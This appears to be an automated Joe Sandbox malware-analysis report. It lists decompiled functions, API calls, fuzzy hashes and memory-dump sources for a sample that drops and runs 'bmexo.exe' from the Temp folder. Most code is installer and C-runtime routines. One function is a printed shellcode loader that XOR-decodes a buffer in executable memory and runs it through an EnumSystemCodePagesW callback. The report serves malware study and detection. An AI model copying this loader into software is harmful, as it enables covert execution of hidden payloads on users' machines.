Instruction ID: f4f79be78f3b00f65903d53a5db5cb29a0acdec533a94133042e7cdde7caf59d
Opcode Fuzzy Hash: 4298df8fa65d3e63540fdf60f99430adbe5e40f9a8b71c27c1b7671c68856ea4
Instruction Fuzzy Hash: 5711D5736041282BDB00A56DDD45E9F3288AB81334F250637FA25F21D1EA79882186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405F3D(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405f3e
0x00405f4b
0x00405f4c
0x00405f57
0x00405f5f
0x00405f5f
0x00405f67

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405F43
CharPrevW.USER32(?,00000000), ref: 00405F4D
lstrcatW.KERNEL32 ref: 00405F5F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F3D

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 4d139d42d978cba7810d0072a9498665e67a0d594e33c17037060be18c5eefd9
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: F6D0A771101A306EC1117B648C04CDF729CEE89344346443BF901B70A0CB7D1D5287FD

Uniqueness

Uniqueness Score: -1.00%

Function 00405644 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405644(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x7a1f74 != _t16) {
							_push(_t16);
							_push(6);
							 *0x7a1f74 = _t16;
							E00405005();
						}
						L11:
						return CallWindowProcW( *0x7a1f7c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404F85(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404616(0x413);
				return 0;
			}

0x00405648
0x00405652
0x0040566e
0x00405690
0x00405693
0x00405699
0x004056a3
0x004056a4
0x004056a6
0x004056ac
0x004056ac
0x004056b6
0x00000000
0x004056c4
0x0040567b
0x004056b3
0x004056b3
0x00000000
0x004056b3
0x00405687
0x00405689
0x00000000
0x00405689
0x00405658
0x00000000
0x00000000
0x0040565f
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405673
CallWindowProcW.USER32(?,?,?,?), ref: 004056C4

Part of subcall function 00404616: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404628

Strings

, xrefs: 00405654

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7939219b80a2ac52c1d0d435a37392739a133ef29b28caecab86fe9e557cc681
Instruction ID: d595ca740675a0faf81d7ea6a2f5abbfab032377942bf72e797c79c3d66f513a
Opcode Fuzzy Hash: 7939219b80a2ac52c1d0d435a37392739a133ef29b28caecab86fe9e557cc681
Instruction Fuzzy Hash: B1017131201609AFEF209F21DD80A9B3A26EB85754F904837FA08762D1C77B8D919F6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040653C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040653C(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004064DB(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x0040654a
0x0040654c
0x00406564
0x00406569
0x0040656e
0x004065ac
0x004065ac
0x00406570
0x00406582
0x0040658d
0x00406593
0x0040659e
0x00000000
0x00000000
0x0040659e
0x004065b2

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800), ref: 00406582
RegCloseKey.ADVAPI32(?), ref: 0040658D

Strings

C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya, xrefs: 00406543

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseQueryValue
String ID: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
API String ID: 3356406503-3751928542
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 9e12fcea604be09863af9e628fe48d824a74a48827fd48a6b9c69832a92d0d42
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: DA015A72500209FADF218F51DC09EDB3BA8EB54364F01803AFD1AA2190E739D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004060C3 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060C3(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x004060d3
0x004060d5
0x004060d8
0x00406104
0x004060dd
0x004060e6
0x004060eb
0x004060f6
0x004060f9
0x00406115
0x004060fb
0x00406102
0x00000000
0x00406102
0x0040610e
0x00406112
0x00406112
0x0040610c
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060D3
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060EB
CharNextA.USER32(00000000), ref: 004060FC
lstrlenA.KERNEL32(00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406105

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: ebd02a31c913037c7252cee765efb5e80e8868db32339617edb9e16a90b2d78f
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 7CF0F631100054FFDB02DFA5CD40D9EBBA8DF46350B2640BAE841FB311D674DE11ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bmexo.exePID: 1224, Parent PID: 2520COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	5.3%
Signature Coverage:	8.9%
Total number of Nodes:	1733
Total number of Limit Nodes:	108

Executed Functions

Function 001603F8 Relevance: 10.7, APIs: 7, Instructions: 201
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001604DB
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00160502
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00160519
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 0016053D
CloseHandle.KERNELBASE(00000000,?), ref: 001605AE
VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 001605B9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00160611

Memory Dump Source

Source File: 00000005.00000002.979087445.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_bmexo.jbxd

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: ac91823fcceb24bdfeaa8284b71a33b08aac73ab2278b65ec93cbc451416ea79
Instruction ID: 02df1ffc338fe68e98fd4a71815f73bdd15a4c024a1351c0efb51b207760b69a
Opcode Fuzzy Hash: ac91823fcceb24bdfeaa8284b71a33b08aac73ab2278b65ec93cbc451416ea79
Instruction Fuzzy Hash: 46618D35E00214ABCF11DBA8CC84BAFBBB5EF98710F248519E946EB290DB749D51CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00161001 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 00161145

Strings

D, xrefs: 001610CE

Memory Dump Source

Source File: 00000005.00000002.979087445.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_bmexo.jbxd

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 568e0db77cf279602cee2811cafd0835d1d7b78f7f3828ca7258fa144f630f1e
Instruction ID: df8d9944b7fdc9480021e1249a190c63b490a0713ffd88b4680685b467bbff9b
Opcode Fuzzy Hash: 568e0db77cf279602cee2811cafd0835d1d7b78f7f3828ca7258fa144f630f1e
Instruction Fuzzy Hash: ECA1E070E00209AFDB45DFA4CD91BAEBBB5BF48304F244469E616EB250D771AAA1DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00160809 Relevance: 7.7, APIs: 5, Instructions: 182
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001609A7

Memory Dump Source

Source File: 00000005.00000002.979087445.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_bmexo.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bad82d185a301e20c64f029e77ff8f0add54596996ee23a4283a6c9c8dfde966
Instruction ID: 6481a5b9075f6cbe9675bb2b94f1178a74b15aa13e0639fc4fe2d842705cd943
Opcode Fuzzy Hash: bad82d185a301e20c64f029e77ff8f0add54596996ee23a4283a6c9c8dfde966
Instruction Fuzzy Hash: 05613B35E50348EADF51DBE4ED12BEEB7B5AF88710F20451AE518FA2A0DB701E90DB05

Uniqueness

Uniqueness Score: -1.00%

Function 00F212BC Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00F212BC(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				char* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __esi;
				signed int _t74;
				signed int _t78;
				char _t81;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				char* _t99;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				char* _t110;
				signed int _t113;
				signed int _t117;
				signed int _t119;
				void* _t120;

				_t99 = _a4;
				_t74 = _a8;
				_v8 = _t99;
				_v12 = _t74;
				if(_a12 == 0) {
					L5:
					return 0;
				}
				_t97 = _a16;
				if(_t97 == 0) {
					goto L5;
				}
				if(_t99 != 0) {
					_t119 = _a20;
					__eflags = _t119;
					if(_t119 == 0) {
						L9:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
							_t74 = E00F21530(_t99, 0, _a8);
							_t120 = _t120 + 0xc;
						}
						__eflags = _t119;
						if(_t119 == 0) {
							goto L3;
						} else {
							_t78 = _t74 | 0xffffffff;
							__eflags = _t97 - _t78 / _a12;
							if(_t97 > _t78 / _a12) {
								goto L3;
							}
							L13:
							_t117 = _a12 * _t97;
							__eflags =  *(_t119 + 0xc) & 0x0000010c;
							_t98 = _t117;
							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
								_t100 = 0x1000;
							} else {
								_t100 =  *(_t119 + 0x18);
							}
							_v16 = _t100;
							__eflags = _t117;
							if(_t117 == 0) {
								L41:
								return _a16;
							} else {
								do {
									__eflags =  *(_t119 + 0xc) & 0x0000010c;
									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
										L24:
										__eflags = _t98 - _t100;
										if(_t98 < _t100) {
											_t81 = E00F22752(_t98, _t119, _t119); // executed
											__eflags = _t81 - 0xffffffff;
											if(_t81 == 0xffffffff) {
												L46:
												return (_t117 - _t98) / _a12;
											}
											_t102 = _v12;
											__eflags = _t102;
											if(_t102 == 0) {
												L42:
												__eflags = _a8 - 0xffffffff;
												if(_a8 != 0xffffffff) {
													E00F21530(_a4, 0, _a8);
												}
												 *((intOrPtr*)(E00F21CC3())) = 0x22;
												L4:
												E00F21E89();
												goto L5;
											}
											_t110 = _v8;
											 *_t110 = _t81;
											_t98 = _t98 - 1;
											_v8 = _t110 + 1;
											_t103 = _t102 - 1;
											__eflags = _t103;
											_v12 = _t103;
											_t100 =  *(_t119 + 0x18);
											_v16 = _t100;
											goto L40;
										}
										__eflags = _t100;
										if(_t100 == 0) {
											_t86 = 0x7fffffff;
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t86 = _t98;
											}
										} else {
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t44 = _t98 % _t100;
												__eflags = _t44;
												_t113 = _t44;
												_t91 = _t98;
											} else {
												_t113 = 0x7fffffff % _t100;
												_t91 = 0x7fffffff;
											}
											_t86 = _t91 - _t113;
										}
										__eflags = _t86 - _v12;
										if(_t86 > _v12) {
											goto L42;
										} else {
											_push(_t86);
											_push(_v8);
											_push(E00F22873(_t119)); // executed
											_t88 = E00F22A2A(); // executed
											_t120 = _t120 + 0xc;
											__eflags = _t88;
											if(_t88 == 0) {
												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
												goto L46;
											}
											__eflags = _t88 - 0xffffffff;
											if(_t88 == 0xffffffff) {
												L45:
												_t64 = _t119 + 0xc;
												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
												__eflags =  *_t64;
												goto L46;
											}
											_t98 = _t98 - _t88;
											__eflags = _t98;
											L36:
											_v8 = _v8 + _t88;
											_v12 = _v12 - _t88;
											_t100 = _v16;
											goto L40;
										}
									}
									_t94 =  *(_t119 + 4);
									_v20 = _t94;
									__eflags = _t94;
									if(__eflags == 0) {
										goto L24;
									}
									if(__eflags < 0) {
										goto L45;
									}
									__eflags = _t98 - _t94;
									if(_t98 < _t94) {
										_t94 = _t98;
										_v20 = _t98;
									}
									_t104 = _v12;
									__eflags = _t94 - _t104;
									if(_t94 > _t104) {
										goto L42;
									} else {
										E00F22897(_v8, _t104,  *_t119, _t94);
										_t88 = _v20;
										_t120 = _t120 + 0x10;
										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
										_t98 = _t98 - _t88;
										 *_t119 =  *_t119 + _t88;
										goto L36;
									}
									L40:
									__eflags = _t98;
								} while (_t98 != 0);
								goto L41;
							}
						}
					}
					_t74 = (_t74 | 0xffffffff) / _a12;
					__eflags = _t97 - _t74;
					if(_t97 <= _t74) {
						goto L13;
					}
					goto L9;
				}
				L3:
				 *((intOrPtr*)(E00F21CC3())) = 0x16;
				goto L4;
			}

0x00f212c6
0x00f212c9
0x00f212cf
0x00f212d2
0x00f212d5
0x00f212f2
0x00000000
0x00f212f2
0x00f212d7
0x00f212dc
0x00000000
0x00000000
0x00f212e0
0x00f212fb
0x00f212fe
0x00f21300
0x00f2130e
0x00f2130e
0x00f21312
0x00f2131a
0x00f2131f
0x00f2131f
0x00f21322
0x00f21324
0x00000000
0x00f21326
0x00f21326
0x00f2132e
0x00f21330
0x00000000
0x00000000
0x00f21332
0x00f21335
0x00f21338
0x00f2133f
0x00f21341
0x00f21348
0x00f21343
0x00f21343
0x00f21343
0x00f2134d
0x00f21350
0x00f21352
0x00f2143b
0x00000000
0x00f21358
0x00f21358
0x00f21358
0x00f2135f
0x00f213a0
0x00f213a0
0x00f213a2
0x00f2140d
0x00f21413
0x00f21416
0x00f2146d
0x00000000
0x00f21473
0x00f21418
0x00f2141b
0x00f2141d
0x00f21443
0x00f21443
0x00f21447
0x00f21451
0x00f21456
0x00f2145e
0x00f212ed
0x00f212ed
0x00000000
0x00f212ed
0x00f2141f
0x00f21422
0x00f21425
0x00f21426
0x00f21429
0x00f21429
0x00f2142a
0x00f2142d
0x00f21430
0x00000000
0x00f21430
0x00f213a4
0x00f213a6
0x00f213ca
0x00f213cf
0x00f213d5
0x00f213d7
0x00f213d7
0x00f213a8
0x00f213aa
0x00f213b0
0x00f213c2
0x00f213c2
0x00f213c2
0x00f213c4
0x00f213b2
0x00f213b7
0x00f213b9
0x00f213b9
0x00f213c6
0x00f213c6
0x00f213d9
0x00f213dc
0x00000000
0x00f213de
0x00f213de
0x00f213df
0x00f213e9
0x00f213ea
0x00f213ef
0x00f213f2
0x00f213f4
0x00f2147b
0x00000000
0x00f2147b
0x00f213fa
0x00f213fd
0x00f21469
0x00f21469
0x00f21469
0x00f21469
0x00000000
0x00f21469
0x00f213ff
0x00f213ff
0x00f21401
0x00f21401
0x00f21404
0x00f21407
0x00000000
0x00f21407
0x00f213dc
0x00f21361
0x00f21364
0x00f21367
0x00f21369
0x00000000
0x00000000
0x00f2136b
0x00000000
0x00000000
0x00f21371
0x00f21373
0x00f21375
0x00f21377
0x00f21377
0x00f2137a
0x00f2137d
0x00f2137f
0x00000000
0x00f21385
0x00f2138c
0x00f21391
0x00f21394
0x00f21397
0x00f2139a
0x00f2139c
0x00000000
0x00f2139c
0x00f21433
0x00f21433
0x00f21433
0x00000000
0x00f21358
0x00f21352
0x00f21324
0x00f21307
0x00f2130a
0x00f2130c
0x00000000
0x00000000
0x00000000
0x00f2130c
0x00f212e2
0x00f212e7
0x00000000

APIs

_memset.LIBCMT ref: 00F2131A
_memcpy_s.LIBCMT ref: 00F2138C
__read_nolock.LIBCMT ref: 00F213EA
__filbuf.LIBCMT ref: 00F2140D
_memset.LIBCMT ref: 00F21451

Part of subcall function 00F21CC3: __getptd_noexit.LIBCMT ref: 00F21CC3

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 59fc80b96fffc72afd815ad67ce1625b61f32b5ac41ee5beda371c02a2359130
Instruction ID: 1bcf9de745c09619da9bc4635b07aa96935cbff39a7f37e185754ced7966e0f4
Opcode Fuzzy Hash: 59fc80b96fffc72afd815ad67ce1625b61f32b5ac41ee5beda371c02a2359130
Instruction Fuzzy Hash: 6851C631E00325DBDB24DFA9F88066E77A6BF61330F248729F829866D0D7749D50AB49

Uniqueness

Uniqueness Score: -1.00%

Function 00F21000 Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00F21000(void* __ecx, void* __eflags, intOrPtr _a12) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				intOrPtr _t6;
				void* _t7;
				_Unknown_base(*)()* _t8;
				void* _t20;
				_Unknown_base(*)()* _t21;
				void* _t26;
				void* _t27;
				void* _t28;
				intOrPtr* _t34;

				_push(_t20);
				_t28 = 0; // executed
				_t6 = E00F2114B(_t20, _t26, 0, 0x17d78400); // executed
				 *_t34 = 0xf33000;
				_v8 = _t6;
				_t7 = E00F211DD(_a12, _t27); // executed
				_t8 = VirtualAlloc(0, 0x12ca, 0x3000, 0x40); // executed
				_t21 = _t8;
				E00F21481(_t21, 0x12ca, 1, _t7); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					E00F21530(_t10, 0xcb, 0x17d78400);
					do {
						 *((char*)(_t21 + _t28)) = (( *((intOrPtr*)(_t21 + _t28)) + 0x00000001 ^ 0x000000cc) - 0x00000076 ^ 0x000000d6) + 2;
						_t28 = _t28 + 1;
					} while (_t28 < 0x12ca);
					EnumSystemCodePagesW(_t21, 0); // executed
				}
				return 0;
			}

0x00f21004
0x00f2100c
0x00f2100e
0x00f21013
0x00f2101d
0x00f21020
0x00f21036
0x00f21044
0x00f21048
0x00f2104d
0x00f21055
0x00f21062
0x00f2106a
0x00f21077
0x00f2107a
0x00f2107b
0x00f21082
0x00f21082
0x00f2108e

APIs

_malloc.LIBCMT ref: 00F2100E

Part of subcall function 00F2114B: __FF_MSGBANNER.LIBCMT ref: 00F21162
Part of subcall function 00F2114B: __NMSG_WRITE.LIBCMT ref: 00F21169
Part of subcall function 00F2114B: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,00000000,00000000,00000000,?,00F248C7,00000000,00000000,00000000,00000000,?,00F244F9,00000018,00F32280), ref: 00F2118E

Part of subcall function 00F211DD: __wfsopen.LIBCMT ref: 00F211E8

VirtualAlloc.KERNELBASE(00000000,000012CA,00003000,00000040), ref: 00F21036
__fread_nolock.LIBCMT ref: 00F21048
_memset.LIBCMT ref: 00F21062
EnumSystemCodePagesW.KERNELBASE(00000000,00000000), ref: 00F21082

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: AllocAllocateCodeEnumHeapPagesSystemVirtual__fread_nolock__wfsopen_malloc_memset
String ID:
API String ID: 3693343133-0
Opcode ID: 457cafc6f259f2c9cd2b42b485befe0c1f0c91649ee63d2f51f8a4702b3650f6
Instruction ID: b85017fdeed459ce3e2837d68eeccf53ea42e267804486f930ddcc8d970817ca
Opcode Fuzzy Hash: 457cafc6f259f2c9cd2b42b485befe0c1f0c91649ee63d2f51f8a4702b3650f6
Instruction Fuzzy Hash: D70147729003587BE7206771AC4BFDF3B9CEB61764F100461FA0197182E5B89802A27C

Uniqueness

Uniqueness Score: -1.00%

Function 00F2149C Relevance: 3.0, APIs: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

